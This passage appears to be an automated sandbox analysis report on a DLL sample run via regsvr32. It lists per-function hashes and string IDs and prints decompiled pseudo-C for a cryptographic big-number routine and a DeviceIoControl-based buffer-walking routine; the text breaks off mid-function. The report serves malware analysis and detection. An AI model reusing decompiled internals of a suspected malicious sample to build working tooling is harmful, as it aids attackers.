                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: n4$w+$w+$N
                                                                                                        • API String ID: 0-2961986531
                                                                                                        • Opcode ID: 0d194a16f5accb380c2c15325853410ed1780da0bf505a3de450cfc91ce51ca1
                                                                                                        • Instruction ID: e9cac490946b479d122f58a81bd84a4eb7099349990dc377820f9508466a9cc2
                                                                                                        • Opcode Fuzzy Hash: 0d194a16f5accb380c2c15325853410ed1780da0bf505a3de450cfc91ce51ca1
                                                                                                        • Instruction Fuzzy Hash: 8A12C471505B888FEBB8DF28CC99AEB7BA1FB44306F10551FD84AAE290DBB45644CF41
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0240BE20 Relevance: 5.2, Strings: 4, Instructions: 229COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: #3x8fO$bN$k#'$u(
                                                                                                        • API String ID: 0-4268316349
                                                                                                        • Opcode ID: 2c61010ef2788ced1a0da787ace6d749931b958fc66b6adfc1ebea13e0db4603
                                                                                                        • Instruction ID: a86113007052821aa41ed8ed7859e3ca682d8df134a564f6be455e58604c095b
                                                                                                        • Opcode Fuzzy Hash: 2c61010ef2788ced1a0da787ace6d749931b958fc66b6adfc1ebea13e0db4603
                                                                                                        • Instruction Fuzzy Hash: FEB1187090074D8BDF48DF68C8895EE7BB1FB48358F165329E84AB6290C778D585CF89
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0240C3F4 Relevance: 5.1, Strings: 4, Instructions: 141COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: Fs$P>r$a5$fzJ
                                                                                                        • API String ID: 0-4287909635
                                                                                                        • Opcode ID: 7dd405c7b2bb97a3bcc252dca82dd589835f06c0b9292487cc0564cf127bc076
                                                                                                        • Instruction ID: 173e1c8f54b063efac91d137ad2747f74a9ab942f9d80b057f22f1646a5a344f
                                                                                                        • Opcode Fuzzy Hash: 7dd405c7b2bb97a3bcc252dca82dd589835f06c0b9292487cc0564cf127bc076
                                                                                                        • Instruction Fuzzy Hash: 1971177150478CAFDBBACF24C8966DE3BA1FB48304F508619D94E8E290DFB45788DB41
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024033A8 Relevance: 5.1, Strings: 4, Instructions: 128COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: 0`$iA$s}$tU
                                                                                                        • API String ID: 0-4045249792
                                                                                                        • Opcode ID: a55ab10d2f05d7a785df86d93f83c816d52335dbec14f2454dae7a07824047f1
                                                                                                        • Instruction ID: 815f1d0504a88455162656828760fbd3ff554aba2935d9391bef0a0efbae80b1
                                                                                                        • Opcode Fuzzy Hash: a55ab10d2f05d7a785df86d93f83c816d52335dbec14f2454dae7a07824047f1
                                                                                                        • Instruction Fuzzy Hash: E461B3B190038A8FDF48DF68D8865DE7BB1FB48348F104A1DF826962A0D7B49664CF85
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0240145C Relevance: 5.1, Strings: 4, Instructions: 116COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: $r$($z
                                                                                                        • API String ID: 0-2061920928
                                                                                                        • Opcode ID: a76c29ef8827a5c2209fd7f59c6b1ad8e4a764c2c161a09283b0b84c4b89e109
                                                                                                        • Instruction ID: 2601635cd58d80865d331f24ea56f95be78538bacd477141a73e9b907279e8ad
                                                                                                        • Opcode Fuzzy Hash: a76c29ef8827a5c2209fd7f59c6b1ad8e4a764c2c161a09283b0b84c4b89e109
                                                                                                        • Instruction Fuzzy Hash: DE4104B060DB848BE778DF19D485B5BBBE1FB88300F104A6EE58D87395D7709844CB86
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0240EE5C Relevance: 5.1, Strings: 4, Instructions: 111COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: Cw$x$ $M
                                                                                                        • API String ID: 0-3793167312
                                                                                                        • Opcode ID: d07f260ccb99bc09cb65e67b769dac3c43ada687e8c57ece6e07aaebbf6c410d
                                                                                                        • Instruction ID: bb20c1a45b4f61f0ad2feb1aa6d16dd95ceab0630f9be4666d2431e7360f5ad6
                                                                                                        • Opcode Fuzzy Hash: d07f260ccb99bc09cb65e67b769dac3c43ada687e8c57ece6e07aaebbf6c410d
                                                                                                        • Instruction Fuzzy Hash: 4C51B5B190074A8BDF48CF68D88A4DE7FB1FB58398F14461DE815AA250D3B8D6A4CFC4
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0241531C Relevance: 5.1, Strings: 4, Instructions: 107COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: 6i$?+$^&$xv
                                                                                                        • API String ID: 0-929296306
                                                                                                        • Opcode ID: 2e4b00644d5c20af28d557e843a91a5cf17a897f7df3e22c26379499ca117c45
                                                                                                        • Instruction ID: 9a139f4256fec44c5cee49902ea14cf60920deb7898e526d2f473f254f5f36e1
                                                                                                        • Opcode Fuzzy Hash: 2e4b00644d5c20af28d557e843a91a5cf17a897f7df3e22c26379499ca117c45
                                                                                                        • Instruction Fuzzy Hash: BF51C3B090074A8FDF48DF64C48A4DE7FB0FB68398F25421DE856A6290D37896A4CFC4
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02414274 Relevance: 5.1, Strings: 4, Instructions: 71COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: ?j$Fh9N$Fh9N$Iwvz
                                                                                                        • API String ID: 0-3006185969
                                                                                                        • Opcode ID: 42444791b3df4d7984d28eb9468fccc25383a5995f3957547fe708fef2c00a10
                                                                                                        • Instruction ID: 0f1830577976da870a1d9f96175ca1c947ee5d6889014bf79be6be3aea15f0ec
                                                                                                        • Opcode Fuzzy Hash: 42444791b3df4d7984d28eb9468fccc25383a5995f3957547fe708fef2c00a10
                                                                                                        • Instruction Fuzzy Hash: 1F3101B580034E8FDF49CF64C88A4DE7FB0FB18398F114619E85AA6250D3B89694CFC6
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018002C000 Relevance: 4.8, APIs: 3, Instructions: 340COMMONLIBRARYCODECrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 70%
                                                                                                        			E0000000118002C000(signed int* __rcx, unsigned long long __rdx, signed int __r10, long long __r13, signed int _a8, long long _a16, signed int _a24, signed int _a32) {
				long long _v64;
				char _v532;
				intOrPtr _v536;
				signed long long _v544;
				signed int _v552;
				signed long long _v560;
				signed int _v564;
				signed int _v568;
				void* __rbx;
				void* __rsi;
				signed int _t156;
				signed int _t174;
				signed int _t189;
				signed int _t206;
				signed int _t208;
				signed int _t227;
				void* _t244;
				void* _t251;
				signed long long _t256;
				void* _t268;
				signed long long _t269;
				signed int* _t271;
				intOrPtr* _t277;
				signed long long _t280;
				signed long long _t283;
				unsigned long long _t284;
				signed long long _t285;
				signed long long _t287;
				signed long long _t289;
				void* _t290;
				unsigned long long _t293;
				signed long long _t295;
				char* _t302;
				signed int _t305;
				signed long long _t306;
				void* _t312;
				signed int _t314;
				signed long long _t315;
				signed long long _t316;
				void* _t323;
				signed long long _t334;
				signed long long _t344;

				_t284 = __rdx;
				_a16 = __rdx;
				r10d =  *__rcx;
				_t344 = __rdx;
				_t294 = __rcx;
				if (r10d == 0) goto 0x8002c488;
				if ( *__rdx == 0) goto 0x8002c488;
				r10d = r10d - 1;
				_t2 = _t290 - 1; // 0x435
				if (_t2 != 0) goto 0x8002c13b;
				r12d =  *(__rdx + 4);
				if (r12d != 1) goto 0x8002c072;
				_t5 =  &_v532; // 0xff53
				_t271 =  &(__rcx[1]);
				 *__rcx = 0;
				r9d = 0;
				_v536 = 0;
				E0000000118002D894(_t251, _t268, _t271, __rdx, __rcx, _t5, _t312);
				goto 0x8002c48a;
				if (r10d != 0) goto 0x8002c0b4;
				_t208 = _t271[1];
				_t8 =  &_v532; // 0xff53
				 *_t271 = 0;
				r9d = 0;
				_v536 = 0;
				E0000000118002D894(_t251, _t268,  &(_t271[1]), _t284, __rcx, _t8, _t312);
				_t189 = _t208 % r12d;
				__rcx[1] = _t189;
				bpl = _t189 != 0;
				 *__rcx = 0;
				goto 0x8002c48a;
				r15d = 0xffffffff;
				if (r10d == r15d) goto 0x8002c100;
				r8d =  *(__rcx + 4 + __r10 * 4);
				r10d = r10d + r15d;
				_t174 = _t208 / r12d / _t334;
				_t293 = _t284;
				if (r10d != r15d) goto 0x8002c0d0;
				r9d = 0;
				_v536 = 0;
				_t31 =  &_v532; // 0xff53
				_t302 = _t31;
				 *__rcx = 0;
				_t32 = _t294 + 4; // 0xf803
				E0000000118002D894(_t8 | _t295 << 0x00000020, _t268, _t32, _t284, __rcx, _t302, _t334);
				__rcx[1] = _t208;
				__rcx[2] = _t174;
				bpl = _t174 != 0;
				 *__rcx = 1;
				goto 0x8002c48a;
				if (1 - r10d > 0) goto 0x8002c488;
				r8d = r10d;
				_t285 = r10d;
				r8d = r8d - 1;
				r9d = r10d;
				_t269 = r8d;
				if (_t285 - _t269 < 0) goto 0x8002c1a1;
				_t277 = (_t293 >> 0x20) + 4 + _t285 * 4;
				if ( *((intOrPtr*)(_t344 - _t269 * 4 - __rcx + _t277)) !=  *_t277) goto 0x8002c18a;
				r9d = r9d - 1;
				if (_t285 - 1 - _t269 >= 0) goto 0x8002c171;
				goto 0x8002c1a1;
				_t287 = r9d - r8d;
				_t256 = r9d;
				if ( *((intOrPtr*)(_t344 + 4 + _t287 * 4)) -  *(__rcx + 4 + _t256 * 4) >= 0) goto 0x8002c1a4;
				r8d = r8d + 1;
				_t227 = r8d;
				if (_t227 == 0) goto 0x8002c488;
				r9d =  *(_t344 + 4 + _t295 * 4);
				_t48 = _t293 - 2; // 0x434
				r11d =  *(_t344 + 4 + _t256 * 4);
				asm("inc ecx");
				_a24 = r11d;
				if (_t227 == 0) goto 0x8002c1e8;
				r14d = 0x20;
				r14d = r14d - 0x1f;
				_a8 = r14d;
				if (0x1f - _t48 == 0) goto 0x8002c234;
				goto 0x8002c1f7;
				_a8 = 0;
				r14d = 0;
				r9d = r11d >> r14d;
				r11d = r11d << 0x20;
				r9d = r9d | r9d << 0x00000020;
				_a24 = r11d;
				if (_t208 - 2 <= 0) goto 0x8002c234;
				r11d = r11d |  *(_t344 + 4 + _t256 * 4) >> r14d;
				_a24 = r11d;
				r12d = _t302 - 1;
				_v552 = _t295;
				if (r12d < 0) goto 0x8002c449;
				r15d = 0xffffffff;
				_v544 = _t256;
				_v64 = __r13;
				r13d = _t334 + _t293;
				_v560 = _t256;
				if (r13d - r10d > 0) goto 0x8002c27c;
				goto 0x8002c27e;
				_a32 = 0;
				r11d =  *(__rcx + 4 + _t256 * 4);
				_v568 = _t277 - 4;
				_v564 = 0;
				if (0x20 == 0) goto 0x8002c2d6;
				r8d = r11d;
				r11d = r11d << 0x20;
				if (r13d - 3 < 0) goto 0x8002c2db;
				_t156 =  *(__rcx + 4 + (_v568 << 0x20) * 4) >> r14d;
				r11d = r11d | _t156;
				goto 0x8002c2db;
				_t305 = _v568;
				_t280 = _v560;
				_t314 = _t305;
				r8d = _t156 / _t280 % _t280;
				if (_t314 - _t344 <= 0) goto 0x8002c312;
				_t315 = _t344;
				_t306 = _t305 + 0x1;
				if (_t306 - _t344 > 0) goto 0x8002c355;
				asm("o16 nop [eax+eax]");
				_t283 = _t306 << 0x00000020 | _t295;
				if (0x1 - _t283 <= 0) goto 0x8002c34d;
				_t316 = _t315 - 1;
				if (_t306 + _t280 - _t344 <= 0) goto 0x8002c330;
				r14d = _a8;
				if (_t316 == 0) goto 0x8002c420;
				r11d = 0;
				if (_t208 == 0) goto 0x8002c3cc;
				r15d = _a8;
				r8d = r10d;
				_t323 =  >=  ? _t295 + 0x1 >> 0x20 : (_t295 + 0x1 >> 0x20) + 1;
				r11d = r11d + 1;
				 *((intOrPtr*)(__rcx + 4 + _t283 * 4)) = __rcx[0xffffffff00000002] - r8d;
				if (r11d - _t208 < 0) goto 0x8002c380;
				r14d = r15d;
				_a8 = r15d;
				r15d = 0xffffffff;
				if (0x1 - _t323 >= 0) goto 0x8002c41c;
				r10d = 0;
				if (_t208 == 0) goto 0x8002c419;
				r10d = r10d + 1;
				_t289 =  &(__rcx[0xffffffff00000001]);
				 *(_t289 + 4) = r8d;
				_t244 = r10d - _t208;
				if (_t244 < 0) goto 0x8002c3f0;
				r10d = __r13 - 1;
				r13d = r13d - 1;
				r12d = r12d - 1;
				_v552 = (_v552 << 0x20) + 0x1;
				if (_t244 >= 0) goto 0x8002c270;
				r10d = r10d + 1;
				if (r10d -  *__rcx >= 0) goto 0x8002c460;
				 *((intOrPtr*)(__rcx + 4 + ((0x1 + _t314) * _t280 * _t315 - _t287) * _t316 * 4)) = 0;
				if (r10d + 1 -  *__rcx < 0) goto 0x8002c454;
				 *__rcx = r10d;
				if (r10d == 0) goto 0x8002c483;
				_t206 = _t323 - 1;
				r10d = _t206;
				if ( *((intOrPtr*)(__rcx + 4 + _t289 * 4)) != 0) goto 0x8002c483;
				 *__rcx = _t206;
				if (_t206 != 0) goto 0x8002c470;
				goto 0x8002c48a;
				return 0;
			}













































                                                                                                        0x18002c000
                                                                                                        0x18002c000
                                                                                                        0x18002c016
                                                                                                        0x18002c019
                                                                                                        0x18002c01c
                                                                                                        0x18002c022
                                                                                                        0x18002c02c
                                                                                                        0x18002c032
                                                                                                        0x18002c035
                                                                                                        0x18002c03a
                                                                                                        0x18002c040
                                                                                                        0x18002c04a
                                                                                                        0x18002c04f
                                                                                                        0x18002c054
                                                                                                        0x18002c058
                                                                                                        0x18002c05a
                                                                                                        0x18002c05d
                                                                                                        0x18002c066
                                                                                                        0x18002c06d
                                                                                                        0x18002c075
                                                                                                        0x18002c077
                                                                                                        0x18002c07a
                                                                                                        0x18002c07f
                                                                                                        0x18002c081
                                                                                                        0x18002c088
                                                                                                        0x18002c091
                                                                                                        0x18002c09a
                                                                                                        0x18002c0a1
                                                                                                        0x18002c0a4
                                                                                                        0x18002c0ad
                                                                                                        0x18002c0af
                                                                                                        0x18002c0b4
                                                                                                        0x18002c0c3
                                                                                                        0x18002c0d0
                                                                                                        0x18002c0db
                                                                                                        0x18002c0ed
                                                                                                        0x18002c0f8
                                                                                                        0x18002c0fe
                                                                                                        0x18002c100
                                                                                                        0x18002c103
                                                                                                        0x18002c107
                                                                                                        0x18002c107
                                                                                                        0x18002c10c
                                                                                                        0x18002c113
                                                                                                        0x18002c117
                                                                                                        0x18002c11f
                                                                                                        0x18002c12b
                                                                                                        0x18002c12e
                                                                                                        0x18002c134
                                                                                                        0x18002c136
                                                                                                        0x18002c13e
                                                                                                        0x18002c144
                                                                                                        0x18002c147
                                                                                                        0x18002c14a
                                                                                                        0x18002c14d
                                                                                                        0x18002c150
                                                                                                        0x18002c156
                                                                                                        0x18002c16d
                                                                                                        0x18002c177
                                                                                                        0x18002c179
                                                                                                        0x18002c186
                                                                                                        0x18002c188
                                                                                                        0x18002c190
                                                                                                        0x18002c193
                                                                                                        0x18002c19f
                                                                                                        0x18002c1a1
                                                                                                        0x18002c1a4
                                                                                                        0x18002c1a7
                                                                                                        0x18002c1ad
                                                                                                        0x18002c1b2
                                                                                                        0x18002c1b5
                                                                                                        0x18002c1bc
                                                                                                        0x18002c1c0
                                                                                                        0x18002c1c8
                                                                                                        0x18002c1cf
                                                                                                        0x18002c1d7
                                                                                                        0x18002c1da
                                                                                                        0x18002c1e4
                                                                                                        0x18002c1e6
                                                                                                        0x18002c1ed
                                                                                                        0x18002c1f4
                                                                                                        0x18002c206
                                                                                                        0x18002c209
                                                                                                        0x18002c20c
                                                                                                        0x18002c20f
                                                                                                        0x18002c21a
                                                                                                        0x18002c229
                                                                                                        0x18002c22c
                                                                                                        0x18002c234
                                                                                                        0x18002c238
                                                                                                        0x18002c243
                                                                                                        0x18002c24c
                                                                                                        0x18002c252
                                                                                                        0x18002c25a
                                                                                                        0x18002c262
                                                                                                        0x18002c266
                                                                                                        0x18002c273
                                                                                                        0x18002c27a
                                                                                                        0x18002c27e
                                                                                                        0x18002c291
                                                                                                        0x18002c296
                                                                                                        0x18002c29b
                                                                                                        0x18002c2a1
                                                                                                        0x18002c2a8
                                                                                                        0x18002c2bb
                                                                                                        0x18002c2c2
                                                                                                        0x18002c2cf
                                                                                                        0x18002c2d1
                                                                                                        0x18002c2d4
                                                                                                        0x18002c2d6
                                                                                                        0x18002c2db
                                                                                                        0x18002c2ea
                                                                                                        0x18002c2f3
                                                                                                        0x18002c2f9
                                                                                                        0x18002c308
                                                                                                        0x18002c30f
                                                                                                        0x18002c315
                                                                                                        0x18002c327
                                                                                                        0x18002c337
                                                                                                        0x18002c33d
                                                                                                        0x18002c33f
                                                                                                        0x18002c34b
                                                                                                        0x18002c34d
                                                                                                        0x18002c358
                                                                                                        0x18002c361
                                                                                                        0x18002c366
                                                                                                        0x18002c370
                                                                                                        0x18002c392
                                                                                                        0x18002c3a8
                                                                                                        0x18002c3af
                                                                                                        0x18002c3b2
                                                                                                        0x18002c3b9
                                                                                                        0x18002c3bb
                                                                                                        0x18002c3be
                                                                                                        0x18002c3c6
                                                                                                        0x18002c3e2
                                                                                                        0x18002c3e4
                                                                                                        0x18002c3e9
                                                                                                        0x18002c3f4
                                                                                                        0x18002c3fb
                                                                                                        0x18002c40c
                                                                                                        0x18002c414
                                                                                                        0x18002c417
                                                                                                        0x18002c41c
                                                                                                        0x18002c425
                                                                                                        0x18002c432
                                                                                                        0x18002c436
                                                                                                        0x18002c43b
                                                                                                        0x18002c449
                                                                                                        0x18002c452
                                                                                                        0x18002c458
                                                                                                        0x18002c45e
                                                                                                        0x18002c460
                                                                                                        0x18002c466
                                                                                                        0x18002c470
                                                                                                        0x18002c474
                                                                                                        0x18002c47b
                                                                                                        0x18002c47d
                                                                                                        0x18002c481
                                                                                                        0x18002c486
                                                                                                        0x18002c49b

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: memcpy_s
                                                                                                        • String ID:
                                                                                                        • API String ID: 1502251526-0
                                                                                                        • Opcode ID: 9d0c375b1b34691e877114d86b1cef589b745be9ce699e7f50f6ec0c20675548
                                                                                                        • Instruction ID: 4e556216daf2288237c27a02e327a4e49f6793c98c10fef3a97a480f4ae4f6c0
                                                                                                        • Opcode Fuzzy Hash: 9d0c375b1b34691e877114d86b1cef589b745be9ce699e7f50f6ec0c20675548
                                                                                                        • Instruction Fuzzy Hash: 70C1177271568887EB66CF59E044BAAB791F39CBC4F44C225EB4A43744DF39EA09CB40
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018000B10C Relevance: 4.8, APIs: 3, Instructions: 260COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 74%
                                                                                                        			E0000000118000B10C(void* __ecx, void* __rax, long long __rbx, signed long long __rcx, signed int __rdx, long long __r8, long long __r9, long long __r11) {
				long _t102;
				signed int _t103;
				long long _t105;
				long _t110;
				signed long long _t165;
				signed long long _t166;
				signed int _t170;
				long long _t174;
				signed int _t179;
				long long _t180;
				signed long long _t182;
				signed int _t187;
				signed long long _t196;
				signed long long _t197;
				void* _t199;
				long long* _t200;
				void* _t202;
				void* _t203;
				void* _t205;
				signed long long _t206;
				signed int _t210;
				intOrPtr _t211;
				void* _t212;
				void* _t220;
				void* _t222;
				long long _t223;
				long long _t225;
				long _t228;
				void* _t231;
				signed int _t232;
				long _t234;
				signed long long* _t235;
				void* _t237;
				signed int _t242;

				_t225 = __r11;
				_t182 = __rcx;
				 *((long long*)(_t205 + 8)) = __rbx;
				_t203 = _t205 - 0x103d0;
				E00000001180014A10(0x104d0, __rax, _t220, __r11);
				_t206 = _t205 - __rax;
				_t165 =  *0x800d81f8; // 0x68308725f9ca
				_t166 = _t165 ^ _t206;
				 *(_t203 + 0x103c0) = _t166;
				_t235 =  *((intOrPtr*)(_t203 + 0x10448));
				_t200 =  *((intOrPtr*)(_t203 + 0x10450));
				_t232 = __rdx;
				 *((long long*)(_t206 + 0x78)) = __r8;
				 *((long long*)(_t206 + 0x60)) = __r9;
				 *((long long*)(_t203 - 0x58)) = __rcx;
				E00000001180005CCC();
				 *(_t206 + 0x70) = _t166;
				if (__r8 -  *((intOrPtr*)(__rdx + 0x198)) >= 0) goto 0x8000b48e;
				 *(_t203 - 0x80) = _t182;
				 *(_t203 - 0x78) = __rdx;
				r12d = 0;
				 *(_t206 + 0x48) = 1;
				 *(_t206 + 0x58) =  *(_t206 + 0x58) & _t182;
				 *(_t206 + 0x38) =  *(_t206 + 0x38) & 0x00000000;
				 *((long long*)(_t206 + 0x30)) = _t203 - 0x70;
				r9d = 8;
				 *(_t206 + 0x28) = 0x10010;
				 *(_t206 + 0x20) = _t203 - 0x50;
				 *((long long*)(_t203 - 0x68)) = __r8;
				if (DeviceIoControl(_t237, _t234, _t231, _t228) == 0) goto 0x8000b1e9;
				 *(_t206 + 0x50) =  *(_t206 + 0x50) & 0x00000000;
				goto 0x8000b202;
				_t102 = GetLastError();
				 *(_t206 + 0x50) = _t102;
				if (_t102 == 0) goto 0x8000b202;
				if (_t102 != 0xea) goto 0x8000b448;
				_t210 =  *((intOrPtr*)(_t203 - 0x50));
				_t222 =  *((intOrPtr*)(_t203 - 0x48)) + _t210;
				if (__r8 - _t222 >= 0) goto 0x8000b48e;
				_t179 = _t210;
				_t223 =  !=  ?  *((intOrPtr*)(_t206 + 0x60)) : _t222;
				r11d = 0;
				r15d = 0x10000;
				 *((long long*)(_t206 + 0x60)) = _t223;
				 *((long long*)(_t206 + 0x68)) = _t225;
				_t35 = _t225 + 1; // 0x1
				_t103 = _t35;
				r9b = _t103;
				 *(_t206 + 0x40) = _t103;
				_t105 =  <  ? 0 : r15d;
				 *((long long*)(_t203 - 0x60)) = _t105;
				if (_t105 <= 0) goto 0x8000b3b7;
				 *((char*)(_t206 + 0x41)) = r9b;
				if (_t179 - _t223 >= 0) goto 0x8000b3af;
				if (_t179 -  *((intOrPtr*)(_t206 + 0x78)) < 0) goto 0x8000b371;
				r15d =  *(_t203 + _t225 - 0x40) & 0x000000ff;
				r15d = r15d & r9b & 0xffffffff;
				if (_t179 -  *((intOrPtr*)(__rdx + 0x168)) < 0) goto 0x8000b298;
				if (_t179 -  *((intOrPtr*)(__rdx + 0x170)) < 0) goto 0x8000b2bc;
				if (_t179 -  *((intOrPtr*)(__rdx + 0x178)) < 0) goto 0x8000b2aa;
				if (_t179 -  *((intOrPtr*)(__rdx + 0x180)) < 0) goto 0x8000b2bc;
				if (_t179 -  *((intOrPtr*)(__rdx + 0x188)) < 0) goto 0x8000b2cc;
				if (_t179 -  *((intOrPtr*)(__rdx + 0x190)) >= 0) goto 0x8000b2cc;
				r15d =  ==  ? 1 : r15d;
				if ( *(_t206 + 0x48) != 0) goto 0x8000b37f;
				if (r15d == 0) goto 0x8000b368;
				r8d = 0;
				_t170 = _t179 - _t196;
				 *(_t206 + 0x28) = _t170;
				_t54 = _t210 + 6; // 0x6
				 *(_t206 + 0x48) = _t170;
				 *(_t206 + 0x20) = _t196;
				E00000001180004968(r9b, _t54, _t170,  *(_t206 + 0x70),  *((intOrPtr*)(_t203 - 0x48)), _t210,  *((intOrPtr*)( *((intOrPtr*)(__rdx + 0x240)) + 0x68)), _t196);
				_t187 =  *(_t206 + 0x48);
				if (_t196 -  *((intOrPtr*)(_t206 + 0x78)) < 0) goto 0x8000b33b;
				if (_t187 -  *((intOrPtr*)(_t203 + 0x10430)) < 0) goto 0x8000b33b;
				if ( *((intOrPtr*)(_t203 + 0x10440)) == 0) goto 0x8000b42f;
				 *(_t203 - 0x80) = _t196;
				 *(_t203 - 0x78) = _t179;
				if (_t228 == 0) goto 0x8000b34d;
				if ( *(_t206 + 0x58) - _t228 - _t187 >= 0) goto 0x8000b355;
				 *(_t206 + 0x58) = _t179;
				_t226 =  *((intOrPtr*)(_t206 + 0x68));
				r9b =  *(_t206 + 0x40);
				 *(_t206 + 0x48) = r15d;
				if (r9b != 0x80) goto 0x8000b388;
				r9d = 1;
				goto 0x8000b38b;
				_t197 =  ==  ? _t179 : _t196;
				goto 0x8000b368;
				r9b = r9b + r9b;
				 *(_t206 + 0x40) = r9b;
				_t72 = _t226 + 1; // 0x1
				_t174 =  !=  ?  *((intOrPtr*)(_t206 + 0x68)) : _t72;
				_t180 = _t179 + 1;
				 *((long long*)(_t206 + 0x68)) = _t174;
				if (_t174 -  *((intOrPtr*)(_t203 - 0x60)) < 0) goto 0x8000b25e;
				_t211 =  *((intOrPtr*)(_t203 - 0x50));
				if ( *(_t206 + 0x50) != 0xea) goto 0x8000b3d3;
				if (_t180 -  *((intOrPtr*)(_t203 - 0x48)) + _t211 >= 0) goto 0x8000b3d3;
				if (_t180 -  *((intOrPtr*)(_t206 + 0x60)) < 0) goto 0x8000b19e;
				if ( *(_t206 + 0x48) != 0) goto 0x8000b4dc;
				r8d = 0;
				_t242 = _t180 - _t197;
				 *(_t206 + 0x28) = _t242;
				_t83 = _t211 + 6; // 0x6
				 *(_t206 + 0x20) = _t197;
				E00000001180004968( *((intOrPtr*)(_t206 + 0x41)), _t83,  *((intOrPtr*)(_t203 - 0x48)) + _t211,  *(_t206 + 0x70),  *((intOrPtr*)(_t203 - 0x48)), _t211,  *((intOrPtr*)( *((intOrPtr*)(_t232 + 0x240)) + 0x68)), _t199);
				if (_t197 -  *((intOrPtr*)(_t206 + 0x78)) < 0) goto 0x8000b4c2;
				if (_t242 -  *((intOrPtr*)(_t203 + 0x10430)) < 0) goto 0x8000b4c2;
				if ( *((intOrPtr*)(_t203 + 0x10440)) != 0) goto 0x8000b4ba;
				if (_t235 == 0) goto 0x8000b437;
				 *_t235 = _t197;
				if (_t200 == 0) goto 0x8000b52f;
				 *_t200 = _t180;
				goto 0x8000b52f;
				_t110 = GetLastError();
				_t212 = _t203 + 0xffc0;
				r9d = 0x200;
				E0000000118000EFAC(_t110, _t180, _t212,  *((intOrPtr*)( *((intOrPtr*)(_t232 + 0x240)) + 0x68)));
				r8d = 0;
